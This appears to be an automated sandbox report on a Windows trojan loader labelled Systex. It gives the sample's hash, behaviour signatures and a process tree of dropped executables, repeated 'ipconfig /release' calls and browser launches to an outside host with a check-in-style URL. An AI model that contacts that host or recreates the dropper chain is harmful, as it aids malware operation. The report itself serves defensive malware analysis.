Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
06/09/2026, 16:52
General
- Target 2026-09-06_d7ea6fd7c2702ad2317b56e3e3bd88c4_amadey_darkgate_elex_smoke-loader_stop.exe
- Size 384KB
- Sample260906-vdkweacb78
- SHA256 ad890bbd35ac9d3c16966e3405c3d27b5d294650548df48a56f9c4e655df1970
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 41 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 19 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-09-06_d7ea6fd7c2702ad2317b56e3e3bd88c4_amadey_darkgate_elex_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-06_d7ea6fd7c2702ad2317b56e3e3bd88c4_amadey_darkgate_elex_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\kfcxusmkhfzxspki.exeC:\Temp\kfcxusmkhfzxspki.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hfcwupmhez.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\hfcwupmhez.exeC:\Temp\hfcwupmhez.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hfcwupmhez.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_hfcwupmhez.exeC:\Temp\i_hfcwupmhez.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\usmkhezwup.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\usmkhezwup.exeC:\Temp\usmkhezwup.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_usmkhezwup.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_usmkhezwup.exeC:\Temp\i_usmkhezwup.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rljhbztrmj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\rljhbztrmj.exeC:\Temp\rljhbztrmj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rljhbztrmj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_rljhbztrmj.exeC:\Temp\i_rljhbztrmj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ebvtromgey.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ebvtromgey.exeC:\Temp\ebvtromgey.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ebvtromgey.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ebvtromgey.exeC:\Temp\i_ebvtromgey.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tqoigaytql.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tqoigaytql.exeC:\Temp\tqoigaytql.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tqoigaytql.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_tqoigaytql.exeC:\Temp\i_tqoigaytql.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\igaywqodbv.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\igaywqodbv.exeC:\Temp\igaywqodbv.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_igaywqodbv.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_igaywqodbv.exeC:\Temp\i_igaywqodbv.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\sqnigaysqk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\sqnigaysqk.exeC:\Temp\sqnigaysqk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_sqnigaysqk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_sqnigaysqk.exeC:\Temp\i_sqnigaysqk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nhfzxusqki.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\nhfzxusqki.exeC:\Temp\nhfzxusqki.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nhfzxusqki.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nhfzxusqki.exeC:\Temp\i_nhfzxusqki.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hfzxspjhfz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\hfzxspjhfz.exeC:\Temp\hfzxspjhfz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hfzxspjhfz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_hfzxspjhfz.exeC:\Temp\i_hfzxspjhfz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zxupmhfzur.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\zxupmhfzur.exeC:\Temp\zxupmhfzur.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zxupmhfzur.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_zxupmhfzur.exeC:\Temp\i_zxupmhfzur.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\urmjhbzurm.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\urmjhbzurm.exeC:\Temp\urmjhbzurm.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_urmjhbzurm.exe ups_ins3⤵
-
C:\Temp\i_urmjhbzurm.exeC:\Temp\i_urmjhbzurm.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ebwurljdbw.exe ups_run3⤵
-
C:\Temp\ebwurljdbw.exeC:\Temp\ebwurljdbw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ebwurljdbw.exe ups_ins3⤵
-
C:\Temp\i_ebwurljdbw.exeC:\Temp\i_ebwurljdbw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigbytqlj.exe ups_run3⤵
-
C:\Temp\qoigbytqlj.exeC:\Temp\qoigbytqlj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigbytqlj.exe ups_ins3⤵
-
C:\Temp\i_qoigbytqlj.exeC:\Temp\i_qoigbytqlj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ykigaysqli.exe ups_run3⤵
-
C:\Temp\ykigaysqli.exeC:\Temp\ykigaysqli.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ykigaysqli.exe ups_ins3⤵
-
C:\Temp\i_ykigaysqli.exeC:\Temp\i_ykigaysqli.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qnigaxvtnk.exe ups_run3⤵
-
C:\Temp\qnigaxvtnk.exeC:\Temp\qnigaxvtnk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qnigaxvtnk.exe ups_ins3⤵
-
C:\Temp\i_qnigaxvtnk.exeC:\Temp\i_qnigaxvtnk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dxvpnicaus.exe ups_run3⤵
-
C:\Temp\dxvpnicaus.exeC:\Temp\dxvpnicaus.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dxvpnicaus.exe ups_ins3⤵
-
C:\Temp\i_dxvpnicaus.exeC:\Temp\i_dxvpnicaus.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\smkecausmk.exe ups_run3⤵
-
C:\Temp\smkecausmk.exeC:\Temp\smkecausmk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_smkecausmk.exe ups_ins3⤵
-
C:\Temp\i_smkecausmk.exeC:\Temp\i_smkecausmk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hecwurpjhc.exe ups_run3⤵
-
C:\Temp\hecwurpjhc.exeC:\Temp\hecwurpjhc.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hecwurpjhc.exe ups_ins3⤵
-
C:\Temp\i_hecwurpjhc.exeC:\Temp\i_hecwurpjhc.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rmjecwurmk.exe ups_run3⤵
-
C:\Temp\rmjecwurmk.exeC:\Temp\rmjecwurmk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rmjecwurmk.exe ups_ins3⤵
-
C:\Temp\i_rmjecwurmk.exeC:\Temp\i_rmjecwurmk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x30c,0x7ff9cda4c188,0x7ff9cda4c194,0x7ff9cda4c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1624,i,7723823527683967462,7559731772385538752,262144 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=2288 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1872,i,9925488097241867533,9111876137355299737,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=2324 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2312,i,8628819455567718672,16999363823714139778,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=2772 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3580,i,8755852062523651670,17996908834913778022,2097152 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3588,i,8538068200525815067,12021570144862058264,2097152 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4312,i,3242776317818731029,10242901110600539549,2097152 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=4392 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4348,i,16186683500371711541,6493563071491866893,2097152 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3772,i,7394117978918417765,5157163715205050534,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5332,i,8290992572358812031,2106275911515919622,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5420,i,386660495335239048,12474600443195736085,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6148,i,10671991259858287511,3086803374321722882,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6148,i,10671991259858287511,3086803374321722882,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6220,i,8738786667451789144,18211297258892075477,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=6228 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6492,i,4799912065428761795,14502239453832065666,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=6180 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6456,i,9628827785442269401,6869289858749636326,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=6492 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6636,i,16099679599291057147,5236618346610950742,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=6812 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4488,i,495366023003945890,5748040431351296725,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4428,i,18131720111692797441,12283215206246537913,524288 --field-trial-handle=2292,i,487548685373781308,1832321019560515980,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:144⤵
-
-
